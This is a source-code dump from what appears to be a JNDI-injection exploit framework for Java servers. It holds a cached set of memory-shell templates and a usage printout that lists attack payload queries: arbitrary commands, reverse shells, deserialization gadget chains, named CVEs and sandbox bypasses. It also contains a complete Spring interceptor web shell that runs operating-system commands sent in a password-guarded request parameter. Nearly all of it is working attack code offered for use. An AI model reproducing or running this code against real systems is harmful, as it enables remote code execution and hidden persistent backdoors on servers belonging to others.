Util.getClassBytes(JettyMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 25 | // map.put("WeblogicMemshellTemplate1", Util.getClassBytes(WeblogicMemshellTemplate1.class), 365 * 100, TimeUnit.DAYS); 26 | // map.put("WeblogicMemshellTemplate2", Util.getClassBytes(WeblogicMemshellTemplate2.class), 365 * 100, TimeUnit.DAYS); 27 | map.put("JBossMemshellTemplate", Util.getClassBytes(JBossMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 28 | map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 29 | map.put("SpringMemshellTemplate", Util.getClassBytes(SpringMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | } 34 | 35 | public static byte[] get(String key){ 36 | return map.get(key); 37 | } 38 | 39 | public static void set(String key, byte[] bytes){ 40 | map.put(key, bytes); 41 | } 42 | 43 | public static boolean contains(String key){ 44 | return map.containsKey(key); 45 | } 46 | 47 | public static void remove(String key){ 48 | map.remove(key); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Config.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import com.beust.jcommander.Parameter; 5 | import com.beust.jcommander.UnixStyleUsageFormatter; 6 | import com.feihong.ldap.Starter; 7 | 8 | public class Config { 9 | public static String codeBase; 10 | 11 | @Parameter(names = {"-i", "--ip"}, description = "Local ip address ", required = true, order = 1) 12 | public static String ip; 13 | 14 | @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) 15 | public static int ldapPort = 1389; 16 | 17 | @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) 18 | public static int httpPort = 8080; 19 | 20 | @Parameter(names = {"-u", "--usage"}, description = "Show usage", order = 4) 21 | public static boolean showUsage; 22 | 23 | @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") 24 | private static boolean help = false; 25 | 26 | public static void applyCmdArgs(String[] args) { 27 | //process cmd args 28 | JCommander jc = JCommander.newBuilder() 29 | .addObject(new Config()) 30 | .build(); 31 | try{ 32 | jc.parse(args); 33 | }catch(Exception e){ 34 | if(!showUsage){ 35 | System.out.println("Error: " + e.getMessage() + "\n"); 36 | help = true; 37 | } 38 | } 39 | 40 | if(showUsage){ 41 | String ip = (Config.ip != null) ? Config.ip : "[IP]"; 42 | String port = (Config.ip != null) ? Config.ldapPort + "" : "[PORT]"; 43 | 44 | System.out.println("Supported LADP Queries:"); 45 | System.out.println("* all words are case INSENSITIVE when send to ldap server"); 46 | String prefix = "ldap://" + Config.ip + ":" + Config.ldapPort + "/"; 47 | System.out.println("\n[+] Basic Queries: " + prefix + "Basic/[PayloadType]/[Params], e.g."); 48 | System.out.println(" " + prefix + "Basic/Dnslog/[domain]"); 49 | System.out.println(" " + prefix + "Basic/Command/[cmd]"); 50 | System.out.println(" " + prefix + "Basic/Command/Base64/[base64_encoded_cmd]"); 51 | System.out.println(" " + prefix + "Basic/ReverseShell/[ip]/[port] ---windows NOT supported"); 52 | System.out.println(" " + prefix + "Basic/TomcatEcho"); 53 | System.out.println(" " + prefix + "Basic/SpringEcho"); 54 | System.out.println(" " + prefix + "Basic/WeblogicEcho"); 55 | System.out.println(" " + prefix + "Basic/TomcatMemshell1"); 56 | System.out.println(" " + prefix + "Basic/TomcatMemshell2 ---need extra header [shell: true]"); 57 | System.out.println(" " + prefix + "Basic/JettyMemshell"); 58 | System.out.println(" " + prefix + "Basic/WeblogicMemshell1"); 59 | System.out.println(" " + prefix + "Basic/WeblogicMemshell2"); 60 | System.out.println(" " + prefix + "Basic/JBossMemshell"); 61 | System.out.println(" " + prefix + "Basic/WebsphereMemshell"); 62 | System.out.println(" " + prefix + "Basic/SpringMemshell"); 63 | 64 | System.out.println("\n[+] Deserialize Queries: " + prefix + "Deserialization/[GadgetType]/[PayloadType]/[Params], e.g."); 65 | System.out.println(" " + prefix + "Deserialization/URLDNS/[domain]"); 66 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK1/Dnslog/[domain]"); 67 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]"); 68 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported"); 69 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils2/TomcatEcho"); 70 | System.out.println(" " + prefix + "Deserialization/C3P0/SpringEcho"); 71 | System.out.println(" " + prefix + "Deserialization/Jdk7u21/WeblogicEcho"); 72 | System.out.println(" " + prefix + "Deserialization/Jre8u20/TomcatMemshell"); 73 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2555/WeblogicMemshell1"); 74 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells"); 75 | 76 | System.out.println("\n[+] TomcatBypass Queries"); 77 | System.out.println(" " + prefix + "TomcatBypass/Dnslog/[domain]"); 78 | System.out.println(" " + prefix + "TomcatBypass/Command/[cmd]"); 79 | System.out.println(" " + prefix + "TomcatBypass/Command/Base64/[base64_encoded_cmd]"); 80 | System.out.println(" " + prefix + "TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported"); 81 | System.out.println(" " + prefix + "TomcatBypass/TomcatEcho"); 82 | System.out.println(" " + prefix + "TomcatBypass/SpringEcho"); 83 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell1"); 84 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]"); 85 | System.out.println(" " + prefix + "TomcatBypass/SpringMemshell"); 86 | 87 | System.out.println("\n[+] GroovyBypass Queries"); 88 | System.out.println(" " + prefix + "GroovyBypass/Command/[cmd]"); 89 | System.out.println(" " + prefix + "GroovyBypass/Command/Base64/[base64_encoded_cmd]"); 90 | 91 | System.out.println("\n[+] WebsphereBypass Queries"); 92 | System.out.println(" " + prefix + "WebsphereBypass/List/file=[file or directory]"); 93 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Dnslog/[domain]"); 94 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/[cmd]"); 95 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]"); 96 | System.out.println(" " + prefix + "WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported"); 97 | System.out.println(" " + prefix + "WebsphereBypass/Upload/WebsphereMemshell"); 98 | System.out.println(" " + prefix + "WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp"); 99 | 100 | System.exit(0); 101 | } 102 | 103 | // //获取当前 Jar 的名称 104 | String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 105 | jc.setProgramName("java -jar " + jarPath); 106 | jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); 107 | 108 | if(help) { 109 | jc.usage(); //if -h specified, show help and exit 110 | System.exit(0); 111 | } 112 | 113 | // 特别注意:最后一个反斜杠不能少啊 114 | Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/MyStaticMethodMatcherPointcut.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import org.springframework.aop.support.StaticMethodMatcherPointcut; 4 | 5 | import java.lang.reflect.Method; 6 | 7 | public class MyStaticMethodMatcherPointcut extends StaticMethodMatcherPointcut { 8 | @Override 9 | public boolean matches(Method method, Class targetClass) { 10 | return false; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/MyThrowsAdvice.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import org.springframework.aop.ThrowsAdvice; 4 | 5 | public class MyThrowsAdvice implements ThrowsAdvice { 6 | 7 | public void afterThrowing(Exception ex) { 8 | // 这个方法将在目标方法抛出异常时被调用 9 | System.out.println("Exception thrown: " + ex); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import java.io.File; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | import java.net.MalformedURLException; 7 | import java.net.URL; 8 | import java.net.URLClassLoader; 9 | 10 | public class MyURLClassLoader { 11 | private URLClassLoader classLoader; 12 | 13 | public MyURLClassLoader(String jarName){ 14 | try{ 15 | classLoader = getURLClassLoader(jarName); 16 | }catch(MalformedURLException e){ 17 | e.printStackTrace(); 18 | } 19 | } 20 | 21 | public Class loadClass(String className) { 22 | try{ 23 | //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils 24 | //为了避免这种情况,所以调用了 findClass 方法 25 | Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); 26 | method.setAccessible(true); 27 | Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); 28 | return clazz; 29 | } catch (NoSuchMethodException e) { 30 | e.printStackTrace(); 31 | } catch (IllegalAccessException e) { 32 | e.printStackTrace(); 33 | } catch (InvocationTargetException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | return null; 38 | } 39 | 40 | 41 | private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { 42 | String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; 43 | File file = new File(path); 44 | URL url = file.toURI().toURL(); 45 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); 46 | return urlClassLoader; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.ObjectOutputStream; 7 | import java.lang.reflect.Method; 8 | import java.util.Random; 9 | 10 | public class Util { 11 | public static String getRandomString() { 12 | String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 13 | StringBuilder sb = new StringBuilder(); 14 | for (int i = 0; i < 10; i++) { 15 | char ch = str.charAt(new Random().nextInt(str.length())); 16 | sb.append(ch); 17 | } 18 | return sb.toString(); 19 | } 20 | 21 | public static String getClassCode(Class clazz) throws Exception { 22 | byte[] bytes = getClassBytes(clazz); 23 | String result = Util.base64Encode(bytes); 24 | 25 | return result; 26 | } 27 | 28 | public static byte[] getClassBytes(Class clazz) throws Exception { 29 | String className = clazz.getName(); 30 | String resoucePath = className.replaceAll("\\.", "/") + ".class"; 31 | InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 32 | byte[] bytes = new byte[1024]; 33 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 34 | int len = 0; 35 | while((len = in.read(bytes)) != -1){ 36 | baous.write(bytes, 0 , len); 37 | } 38 | 39 | in.close(); 40 | baous.close(); 41 | 42 | return baous.toByteArray(); 43 | } 44 | 45 | public static String base64Encode(byte[] bytes) throws Exception{ 46 | String result; 47 | 48 | try{ 49 | Class clazz = Class.forName("java.util.Base64"); 50 | Method method = clazz.getDeclaredMethod("getEncoder"); 51 | Object obj = method.invoke(null); 52 | method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); 53 | obj = method.invoke(obj, bytes); 54 | result = (String)obj; 55 | }catch(ClassNotFoundException e){ 56 | Class clazz = Class.forName("sun.misc.BASE64Encoder"); 57 | Method method = clazz.getMethod("encodeBuffer", byte[].class); 58 | Object obj = method.invoke(clazz.newInstance(), bytes); 59 | result = (String)obj; 60 | result = result.replaceAll("\r|\n|\r\n", ""); 61 | } 62 | 63 | return result; 64 | } 65 | 66 | public static byte[] base64Decode(String str) throws Exception{ 67 | byte[] bytes; 68 | 69 | try{ 70 | Class clazz = Class.forName("java.util.Base64"); 71 | Method method = clazz.getDeclaredMethod("getDecoder"); 72 | Object obj = method.invoke(null); 73 | method = obj.getClass().getDeclaredMethod("decode", String.class); 74 | obj = method.invoke(obj, str); 75 | bytes = (byte[]) obj; 76 | }catch(ClassNotFoundException e){ 77 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 78 | Method method = clazz.getMethod("decodeBuffer", String.class); 79 | Object obj = method.invoke(clazz.newInstance(), str); 80 | bytes = (byte[]) obj; 81 | } 82 | 83 | return bytes; 84 | } 85 | 86 | public static byte[] serialize(Object ref) throws IOException { 87 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 88 | ObjectOutputStream objOut = new ObjectOutputStream(out); 89 | objOut.writeObject(ref); 90 | return out.toByteArray(); 91 | } 92 | 93 | public static String getCmdFromBase(String base) throws Exception { 94 | int firstIndex = base.lastIndexOf("/"); 95 | String cmd = base.substring(firstIndex + 1); 96 | 97 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 98 | if(secondIndex < 0){ 99 | secondIndex = 0; 100 | } 101 | 102 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 103 | byte[] bytes = Util.base64Decode(cmd); 104 | cmd = new String(bytes); 105 | } 106 | 107 | return cmd; 108 | } 109 | 110 | public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ 111 | int firstIndex = base.lastIndexOf("/"); 112 | String port = base.substring(firstIndex + 1); 113 | 114 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 115 | if(secondIndex < 0){ 116 | secondIndex = 0; 117 | } 118 | 119 | String ip = base.substring(secondIndex + 1, firstIndex); 120 | return new String[]{ip, Integer.parseInt(port) + ""}; 121 | } 122 | 123 | public static String getUrlFromBase(String base) throws Exception { 124 | int firstIndex = base.lastIndexOf("/"); 125 | String url = base.substring(firstIndex + 1); 126 | 127 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 128 | if(secondIndex < 0){ 129 | secondIndex = 0; 130 | } 131 | 132 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 133 | byte[] bytes = Util.base64Decode(url); 134 | url = new String(bytes); 135 | } 136 | 137 | return url; 138 | } 139 | 140 | 141 | public static String getFactoryFromBase(String base) throws Exception { 142 | int firstIndex = base.lastIndexOf("/"); 143 | String url = base.substring(firstIndex + 1); 144 | 145 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 146 | if(secondIndex < 0){ 147 | secondIndex = 0; 148 | } 149 | 150 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 151 | byte[] bytes = Util.base64Decode(url); 152 | url = new String(bytes); 153 | } 154 | 155 | return url; 156 | } 157 | } -------------------------------------------------------------------------------- /src/main/java/org/joychou/controller/DynamicInterceptorTemplate0.java: -------------------------------------------------------------------------------- 1 | package org.joychou.controller; 2 | 3 | import java.io.File; 4 | import java.io.FileNotFoundException; 5 | import java.io.IOException; 6 | import java.lang.invoke.MethodHandles; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.nio.file.Files; 10 | import java.nio.file.Paths; 11 | import java.util.Scanner; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import org.springframework.stereotype.Controller; 15 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 16 | 17 | 18 | @Controller 19 | public class DynamicInterceptorTemplate0 extends HandlerInterceptorAdapter { 20 | private Class myClassLoaderClazz; 21 | private String basicCmdShellPwd = "pass"; 22 | 23 | public DynamicInterceptorTemplate0() { 24 | this.initialize(); 25 | } 26 | 27 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 28 | System.out.println("[+] Dynamic Interceptor0 says hello"); 29 | String k; 30 | if (request.getParameter("type") != null && request.getParameter("type").equals("basic")) { 31 | k = request.getParameter(this.basicCmdShellPwd); 32 | if (k != null && !k.isEmpty()) { 33 | String[] cmds; 34 | if (File.separator.equals("/")) { 35 | cmds = new String[]{"/bin/sh", "-c", k}; 36 | } else { 37 | cmds = new String[]{"cmd", "/C", k}; 38 | } 39 | 40 | String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); 41 | response.getWriter().println(result); 42 | return false; 43 | } 44 | } 45 | 46 | return true; 47 | } 48 | 49 | private void initialize() { 50 | try { 51 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 52 | 53 | try { 54 | this.myClassLoaderClazz = classLoader.loadClass("org.joychou.controller.MyClassLoader"); 55 | } catch (ClassNotFoundException var8) { 56 | String code = ""; 57 | byte[] bytes = java.util.Base64.getDecoder().decode(code); // from base64 string to class bytes 58 | // Method method = null; 59 | // 60 | // try { 61 | // method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 62 | // method.setAccessible(true); 63 | // this.myClassLoaderClazz = (Class)method.invoke(classLoader, bytes, 0, bytes.length); 64 | // } catch (NoSuchMethodException var7) { 65 | // var7.printStackTrace(); 66 | // } 67 | 68 | // this.myClassLoaderClazz = sun.misc.Unsafe.getUnsafe().defineClass("com.feihong.ldap.template.MyClassLoader",bytes, 0, bytes.length ); 69 | // System.out.println("[*] java.lang.invoke.MethodHandles.lookup().defineHiddenClass"); 70 | System.out.println("[*] DynamicInterceptorTemplate0: java.lang.invoke.MethodHandles.lookup().defineClass(bytes);"); 71 | // this.myClassLoaderClazz = java.lang.invoke.MethodHandles.lookup().defineClass(bytes); 72 | MethodHandles.Lookup lookup = java.lang.invoke.MethodHandles.lookup(); 73 | Method method = MethodHandles.Lookup.class.getMethod("defineClass", byte[].class); 74 | this.myClassLoaderClazz = (Class) method.invoke(lookup, bytes); 75 | // java.lang.invoke.MethodHandles.lookup().defineHiddenClass(bytes, true, java.lang.invoke.MethodHandles.Lookup.ClassOption.NESTMATE); 76 | // ref: https://stackoverflow.com/questions/66974846/java-lang-exceptionininitializererror-with-java-16-j-l-classformaterror-access/67006749#67006749 77 | } 78 | } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException var9) { 79 | var9.printStackTrace(); 80 | } 81 | 82 | } 83 | 84 | public static void main(String[] args) { 85 | } 86 | } -------------------------------------------------------------------------------- /src/main/java/org/joychou/controller/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package org.joychou.controller; 2 | 3 | import java.io.FileNotFoundException; 4 | import java.io.IOException; 5 | import java.nio.file.Files; 6 | import java.nio.file.Paths; 7 | 8 | public class MyClassLoader extends ClassLoader { 9 | MyClassLoader(ClassLoader c){super(c);} 10 | 11 | 12 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){ 13 | return new org.joychou.controller.MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); 14 | } 15 | 16 | public static void main(String[] args) { 17 | byte[] classContent; 18 | try { 19 | classContent = Files.readAllBytes(Paths.get("C:\\repos\\JNDIExploit\\target\\classes\\org\\joychou\\controller\\MyClassLoader.class")); 20 | } catch (FileNotFoundException e) { 21 | throw new RuntimeException(e); 22 | } catch (IOException e) { 23 | throw new RuntimeException(e); 24 | } 25 | 26 | String base64ClassContent = java.util.Base64.getEncoder().encodeToString(classContent); // from class content to base64 string. 27 | System.out.println(base64ClassContent); 28 | } 29 | } 30 | --------------------------------------------------------------------------------